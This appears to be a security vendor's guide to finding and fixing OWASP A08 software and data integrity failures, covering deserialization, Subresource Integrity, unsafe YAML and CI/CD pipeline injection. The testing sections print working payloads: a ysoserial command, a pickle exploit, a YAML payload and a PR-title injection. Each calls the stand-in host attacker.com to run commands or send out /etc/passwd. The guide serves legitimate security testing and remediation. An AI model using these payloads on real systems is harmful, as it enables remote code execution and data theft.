Software and Data Integrity Failures: How to Find OWASP A08 Vulnerabilities
OWASP A08 is the youngest entry on the 2021 Top 10 list, and it covers territory that the previous version only partially addressed. It merged insecure deserialization — OWASP A8 in the 2017 list — with a broader concept: failures to verify the integrity of software, data, and CI/CD pipelines.
The real-world impact of that expanded scope is hard to overstate. SolarWinds was a software update supply chain attack. XZ Utils was a compromised open-source package shipped inside a widely deployed compression library. Both exploited the same fundamental failure: code was executed without any verification that it came from a trusted source and hadn't been tampered with.
This guide covers the full A08 attack surface — from Java deserialization gadget chains to missing Subresource Integrity attributes — and how to test for each pattern systematically.
What OWASP A08 Actually Covers
A08 groups together vulnerabilities that share a common root cause: the application makes decisions based on data or code whose integrity it hasn't verified. That spans several distinct attack patterns:
pickle, PHP's unserialize(). An attacker who can supply a crafted serialized object can trigger arbitrary code execution, depending on which gadget chains are available in the classpath or module space.
integrity= attribute. If the CDN is compromised — or the attacker performs a BGP hijack or DNS poisoning — the browser fetches and executes malicious JavaScript with no warning. The browser has no way to detect the substitution.
YAML.load() and Python's yaml.load() (without Loader=yaml.SafeLoader) can execute arbitrary code when parsing attacker-controlled YAML. PHP's unserialize() is similar. The correct fix is to use safe variants — yaml.safe_load(), YAML.safe_load() — that don't process type tags.
Testing for Insecure Deserialization
The first step is identifying whether serialized objects are present in the application's request and response surface. Serialized data has recognizable signatures:
# Java serialized objects — binary format, starts with magic bytes 0xACED 0x0005
# In base64-encoded form, always starts with:
rO0AB...
# PHP serialized objects
O:8:"stdClass":1:{s:4:"name";s:5:"Alice";}
a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}
# Python pickle — binary, starts with opcode 0x80 followed by protocol version
# In base64: gASV... (protocol 4) or gAR... (protocol 2)
# .NET ViewState — base64-encoded, often in hidden form fields
/wEykBQIAAQI...
Check cookies, POST body parameters, URL parameters, and custom HTTP headers. Developers sometimes store session state or object graphs in cookies using native serialization — these are common targets.
Using ysoserial for Java gadget chains
Once you've confirmed a Java serialized object is in play, ysoserial generates payloads for known gadget chains present in popular Java libraries. The tool ships with chains for Commons Collections, Spring Framework, Groovy, Hibernate, and others.
# Generate a payload using the CommonsCollections6 gadget chain
# (works without Java version constraints, widely applicable)
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(whoami)' | base64
# Then submit that base64 value wherever the application accepts
# a serialized Java object — cookie, POST parameter, etc.
# If the out-of-band request hits your server, RCE is confirmed.
# Use Burp Collaborator or interactsh for the callback.
For Python pickle, crafting a proof-of-concept is straightforward:
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://attacker.com/pickle-rce',))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
If the application accepts this payload via an API endpoint, a cookie, or a message queue consumer, and your callback server receives the request, you have confirmed remote code execution via unsafe deserialization.
Testing for Missing Subresource Integrity
SRI is simple to audit. Load the application and inspect every <script> and <link> tag that references an external domain. Any tag loading from a CDN without an integrity= attribute is a finding.
The difference between vulnerable and protected looks like this:
<!-- VULNERABLE: no integrity check, CDN compromise = full page takeover -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
crossorigin="anonymous"></script>
<!-- PROTECTED: browser verifies hash before executing -->
<script src="https://cdn.jsdelivr.net/npm/jquery@3.7.1/dist/jquery.min.js"
integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo="
crossorigin="anonymous"></script>
In the protected version, the browser computes the SHA-256 hash of the downloaded file and compares it to the value in the integrity attribute. If they don't match, the browser refuses to execute or apply the resource. An attacker who compromises the CDN gets nothing — the hash won't match their injected payload.
Quick automated check with curl and grep:
# Fetch the page and extract all external script/link tags without integrity=
curl -s https://target.com | grep -E '(script|link).*src=' | grep -v 'integrity='
Also check dynamically loaded scripts — if the application uses JavaScript to inject additional <script> tags at runtime (common with analytics, chat widgets, A/B testing tools), those are outside SRI's protection entirely unless the calling code also verifies the hash before injection.
Testing for Unsafe YAML and XML Deserialization
YAML deserialization vulnerabilities are particularly common in Ruby on Rails applications and Python services that accept YAML input from APIs or configuration endpoints. The test is to submit a YAML document with a type tag that executes a system command:
# Python yaml.load() RCE payload
# Submit this as the body of any endpoint that deserializes YAML
!!python/object/apply:os.system ['curl http://attacker.com/yaml-rce']
# Ruby YAML.load() RCE payload (Ruby 2.x)
--- !ruby/object:Gem::Installer
i: x
# ... (full gadget chain varies by Ruby/Rails version)
For XML, look for endpoints that accept XML and test for XXE (external entity injection) before testing for deserialization gadget chains — XXE is more universally applicable and easier to confirm.
The signal to look for in all deserialization testing: unexpected outbound connections from the server, timing differences (a payload that triggers sleep(5) causing a five-second response delay), or error messages that reveal the deserialization library version.
Testing CI/CD Pipeline Integrity
Pipeline injection is often overlooked in application security testing because it lives in the development infrastructure rather than the production application. But it's within scope for A08 and can be the most impactful finding: a pipeline injection that exfiltrates AWS_SECRET_ACCESS_KEY from a build environment gives an attacker production cloud access.
What to look for in pipeline definitions:
# VULNERABLE: GitHub Actions workflow interpolating PR title directly
# An attacker opens a PR titled: foo"; curl http://attacker.com/$(cat /etc/passwd); echo "
- name: Build
run: echo "Building ${{ github.event.pull_request.title }}"
# SAFE: use environment variable, not direct interpolation
- name: Build
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "Building $PR_TITLE"
Key places to audit:
- Workflow inputs that come from untrusted sources: PR titles, branch names, commit messages, issue bodies
- Steps that use
${{ github.event.* }}or equivalent interpolation directly inrun:blocks - Workflows that check out untrusted code and then run it with access to secrets
- Self-hosted runners (they persist between jobs — a compromised job can leave a backdoor)
- Dependency pinning: workflows that use
uses: some-action@maininstead of a pinned SHA
What Automated Tools Catch vs. What They Miss
A08 is a mixed bag for automated scanning. Some patterns are highly detectable; others require the kind of manual analysis that DAST tools aren't designed for.
| Pattern | Automated detection | Why |
|---|---|---|
| Missing SRI attributes | Excellent | Static HTML analysis — presence or absence of integrity= on external scripts is unambiguous |
| Serialized object patterns in requests | Good | Magic bytes and base64 signatures are detectable; flagging their presence is straightforward |
| Java deserialization RCE via gadget chains | Limited | Identifying exploitable chains requires knowing which libraries are in the classpath — scanner can't see that |
| Python pickle deserialization | Moderate | Can probe with OOB payloads; requires a callback infrastructure to confirm |
| Unsafe YAML.load() | Moderate | Submitting type-tag payloads and watching for OOB callbacks works; false negatives if no gadget available |
| CI/CD pipeline injection | Poor | Lives outside the application; requires reading pipeline definitions and understanding data flow |
| Unsigned update mechanisms | Poor | Requires understanding the update protocol and intercepting the update flow — not surfaced via HTTP crawling |
The honest summary: automated tools are strong on the surface-level signals (SRI gaps, serialized data patterns) and weak on the exploitation layer (gadget chains, pipeline injection, update mechanism analysis). The highest-severity A08 findings — the ones that give an attacker RCE — typically require manual work.
How Ironimo Approaches Integrity Failure Detection
Ironimo targets the A08 patterns that are reliably detectable through dynamic scanning:
SRI gap detection. Every page crawled is analyzed for external script and stylesheet tags. Missing integrity= attributes on CDN-hosted resources are flagged with the specific element and its source URL, so you know exactly what to fix and where.
Serialization pattern identification. Request and response bodies are scanned for serialized object signatures — Java magic bytes in base64, PHP O: and a: patterns, Python pickle opcodes, .NET ViewState indicators. When these are found in attacker-controlled positions (URL parameters, cookies, POST bodies), they're flagged for manual follow-up.
Security header analysis. Ironimo checks for the presence and correctness of Content-Security-Policy headers, which provide a defense-in-depth layer against injected scripts — even if SRI is missing, a well-configured CSP restricts which external domains can serve scripts at all.
The gadget chain exploitation step — actually achieving RCE via a deserialization finding — requires knowing the server-side classpath and available libraries. That's beyond what dynamic scanning can determine without source access. Ironimo surfaces the attack surface; a follow-up manual test confirms exploitability.
Remediation Priorities
If you're triaging A08 findings, prioritize in this order:
- Stop accepting serialized objects from untrusted sources. If you're passing user-controlled data into
pickle.loads(),unserialize(), or Java'sObjectInputStream, that's the highest-severity fix. Replace with JSON or another data-only format. If you must deserialize, use allowlist validation on the type before instantiation. - Switch to safe deserializers. Replace
yaml.load()withyaml.safe_load(). Replace Ruby'sYAML.load()withYAML.safe_load(). These refuse to instantiate arbitrary types. - Add SRI to all external scripts and stylesheets. Generate hashes using the SRI Hash Generator (
https://www.srihash.org) oropenssl dgst -sha256 -binary file.js | openssl base64 -A. Add theintegrity=andcrossorigin="anonymous"attributes. Automate this in your build pipeline so new CDN dependencies are always hashed. - Fix pipeline injection. Never interpolate untrusted inputs directly into
run:blocks. Use environment variables as the indirection layer. Pin external action dependencies to full commit SHAs, not branch names or version tags. - Verify update signatures. Any software that fetches and applies updates should verify a cryptographic signature before execution. Deliver updates over HTTPS and additionally sign the payload — don't rely on transport security alone.
Ironimo scans your application for SRI gaps, serialized object patterns in request parameters, and security header weaknesses — the detectable layer of OWASP A08 — using the same Kali Linux toolset professional pentesters run against production applications.
Schedule on-demand or recurring scans. Results include the exact request that reproduced the finding, the response that confirms it, and a clear remediation path.
Start free scan